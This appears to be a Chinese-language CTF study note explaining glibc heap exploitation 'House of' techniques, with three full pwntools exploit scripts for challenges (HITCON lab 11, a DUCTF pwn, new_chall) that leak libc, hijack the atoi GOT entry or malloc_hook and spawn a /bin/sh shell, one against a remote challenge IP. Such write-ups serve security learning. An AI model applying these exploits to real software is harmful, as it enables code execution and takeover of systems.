wiki上的house系列 House Of Einherjar 思路:主要还是利用unlink,如果程序可以修改prev_size和prev_inuse,那向后合并的时候就可以指向后面任意一个堆了。(overlap)
House Of Force 思路:利用top_chunk完成任意地址申请,当申请堆时,如果要用top_chunk时,就会比较申请的堆和top_chunk的大小,如果大于的话就会在top_chunk上切割一块下来,假如先修改top_chunk的size为0xffffffffffffffff(比较大小时化作无符号数,因此这个数是最大的),我们再申请一个负数,那最后top_addr=原来的top_chunk的地址减去申请的数,只要计算好确定的offest,就可以把top_chunk挪移到任意地址,然后再申请出来就好了。
例题:HITCON training lab 11 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *sh=process("./pwn" ) context.log_level='debug' libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./pwn' ) def add (size,content ): sh.recvuntil('Your choice:' ) sh.sendline('2' ) sh.recvuntil('Please enter the length of item name:' ) sh.sendline(str (size)) sh.recvuntil('Please enter the name of item:' ) sh.send(content) def edit (idx,length,content ): sh.recvuntil('Your choice:' ) sh.sendline('3' ) sh.recvuntil('Please enter the index of item:' ) sh.sendline(str (idx)) sh.recvuntil('Please enter the length of item name:' ) sh.sendline(str (length)) sh.recvuntil('Please enter the new name of the item:' ) sh.sendline(content) def free (idx ): sh.recvuntil('Your choice:' ) sh.sendline('4' ) sh.recvuntil('Please enter the index of item:' ) sh.sendline(str (idx)) def show (): sh.recvuntil('Your choice:' ) sh.sendline('1' ) add(0x100 ,'a' ) add(0x500 ,'a' ) add(0x100 ,'a' ) add(0x100 ,'a' ) edit(0 ,0x120 ,'a' *0x100 +p64(0 )+p64(0x510 +0x110 +1 )) free(1 ) add(0x500 ,'a' ) show() sh.recvuntil('2 : ' ) libc_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-libc.sym['__malloc_hook' ]-0x10 -88 print hex (libc_base)edit(3 ,0x200 ,'a' *0x100 +p64(0 )+p64(0xffffffffffffffff )) target_addr=libc_base+libc.sym['__malloc_hook' ] add(0x30 ,'a' ) add(0xc0 ,'a' ) add(0x30 ,'a' ) add(0x30 ,'a' ) free(6 ) free(4 ) show() sh.recvuntil('2 : ' ) top_addr=u64(sh.recv(4 ).ljust(8 ,'\x00' ))+0x80 print hex (top_addr)atoi_addr=elf.got['atoi' ] offset=atoi_addr-top_addr-0x20 print hex (offset)add(offset,'a' ) system=libc_base+libc.sym['system' ] add(0x8 ,p64(system)) sh.recvuntil('Your choice:' ) sh.sendline('/bin/sh\x00' ) gdb.attach(sh) sh.interactive()
House of Lore 是针对smallbin的攻击,感觉这个挺好用的,以后可以多试试
思路:当需要从smallbin上面脱掉最后一个链时,需要倒数第二个链和bin进行链表处理,会执行以下代码
1 2 3 4 5 6 7 8 9 10 11 12 // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted" ; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin ->bk = bck;bck->fd = bin ;
可见,主要控制bk,然后伪造一个chunk通过bck->fd != victim判断,就可以让一个伪造的chunk进入smallbin
感觉当没开启pie的时候可以完成堆到bss的申请。
House of Orange 思路:当申请的堆的大小大于top_chunk时,top_chunk就会被free掉进入bin,当程序没有free功能时可以利用这个特性完成free_chunk,但一般程序会对申请大小做限制,不会超过top_chunk_size,所以要通过溢出修改top_chunk大小,不过也不能随便修改,得让top_chunk_size+top_chunk_addr是0x1000的整数倍才行。
例题:ductf上的pwn1的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *sh=remote('47.106.172.144' ,65001 ) context.log_level='debug' libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) elf =ELF('./main' ) ogg=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def add (count ): sh.recvuntil('> ' ) sh.sendline('1' ) sh.recvuntil('List count: ' ) sh.sendline(str (count)) def show_item (list_id,item_id ): sh.recvuntil('> ' ) sh.sendline('2' ) sh.recvuntil('List id: ' ) sh.sendline(str (list_id)) sh.recvuntil('Item id: ' ) sh.sendline(str (item_id)) def overwrite (list_id,star_id,end_id,number ): sh.recvuntil('> ' ) sh.sendline('4' ) sh.recvuntil('List id: ' ) sh.sendline(str (list_id)) sh.recvuntil('Star id: ' ) sh.sendline(str (star_id)) sh.recvuntil('End id: ' ) sh.sendline(str (end_id)) sh.recvuntil('New number: ' ) sh.sendline(str (number)) def edit (list_id,item_id,number ): sh.recvuntil('> ' ) sh.sendline('3' ) sh.recvuntil('List id: ' ) sh.sendline(str (list_id)) sh.recvuntil('Item id: ' ) sh.sendline(str (item_id)) sh.recvuntil('New number: ' ) sh.sendline(str (number)) add(23 ) overwrite(0 ,23 ,23 ,0x1311 ) add(0x1400 ) add(23 ) overwrite(0 ,29 ,29 ,0x50000000 ) show_item(2 ,24 ) libc.address=int (sh.recvuntil('\n' ).split(': ' )[1 ])-libc.symbols['__malloc_hook' ]-0x10 -88 print hex (libc.address)system=libc.symbols['system' ] atoi_got=elf.got['atoi' ] print hex (atoi_got)print hex (system)overwrite(0 ,24 ,24 ,atoi_got) overwrite(0 ,25 ,25 ,0x50000000 ) edit(1 ,0 ,system) sh.recvuntil('> ' ) sh.sendline('/bin/sh\x00' ) sh.interactive()
House of Rabbit 以前打比赛遇见过
思路:利用的是fastbin的 malloc consolidate,当申请的堆块的大小大于fasbin的最大值的时候就会触发malloc_consolidat,如果没有使用的话就会把相邻的堆块进行合并,然后放到smallbin上面,合并当然是ublink,无非就是利用prev_size和自身的size来完成合并,只要伪造size就可以完成后面的任意堆合并了。
正常堆块
完成伪造后
然后再申请一个大堆,就完成chunk2和chunk4的合并了,完成overlap
malloc_consolidat不仅可以用来完成overlap,当能申请的堆很小的时候,还可以通过他把小堆合并放到smallbin上面达到leak出libc地址
House of Roman 主要用途,当没有leak函数时通过爆破来完成getshell(感觉要看脸)
前情提要:当一个程序开启pie时虽然基地址是随机的(但随机的很有限),由于是分页管理,所以基地址的最后十二位是0,具体到某一个代码的地址就是基地址加上这个代码的偏移量,如果两个代码的地址不超过0xfff(当然超过也行,别太大就行),就可以通过修改最后十二位来让这个地址指向另一个代码,但是修改数据是8个字节8个字节修改,第十二位到第十六位不清楚,只能采用爆破的方法来猜正确地址,这个攻击手法就利用这个思路。
思路:unsortedbin上面libc地址和malloc_hook地址很接近,可以通过爆破把这个地址改成malloc_hook,然后把这个堆分配到fasbin上面,申请到mallo_hook附近的空间,然后通过unsortedbin_attack把malloc_hook写上libc的地址,然后再通过爆破的方法把这个地址改成ogg,然后触发malloc_hook(申请或者doublefree)完成getShell,这里帖一个别人梳理的具体步骤
例题 new_chall
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *sh=process('./pwn' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level='debug' ogg=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def add (size,idx ): sh.recvuntil('3. Free' ) sh.sendline('1' ) sh.recvuntil('Enter size of chunk :' ) sh.sendline(str (size)) sh.recvuntil('Enter index :' ) sh.sendline(str (idx)) def edit (idx,content ): sh.recvuntil('3. Free' ) sh.sendline('2' ) sh.recvuntil('Enter index of chunk :' ) sh.sendline(str (idx)) sh.recvuntil('Enter data :' ) sh.send(content) def free (idx ): sh.recvuntil('3. Free' ) sh.sendline('3' ) sh.recvuntil('Enter index :' ) sh.sendline(str (idx)) def pwn (): add(0x18 ,0 ) add(0xa0 ,1 ) add(0x10 ,2 ) edit(1 ,'a' *0x68 +p64(0x41 )) free(1 ) add(0xa0 ,3 ) add(0x68 ,4 ) add(0x68 ,5 ) add(0x68 ,6 ) add(0x68 ,13 ) free(4 ) free(5 ) edit(0 ,'a' *0x18 +'\x71' ) edit(5 ,p16(0x7020 )) edit(1 ,p16(0x1aed )) add(0x68 ,7 ) add(0x68 ,8 ) add(0x68 ,9 ) free(13 ) edit(13 ,p64(0 )) add(0x100 ,10 ) add(0x20 ,11 ) free(10 ) edit(10 ,'a' *8 +p16(0x1b00 )) add(0x100 ,12 ) edit(9 ,'a' *0x13 +'\xa4\xd3\xaf' ) free(7 ) free(7 ) sh.interactive() sh.recvuntil('Enter name :' ) sh.sendline('rootzhang' ) pwn()
House of Pig 涉及了io_file,暂时不做总结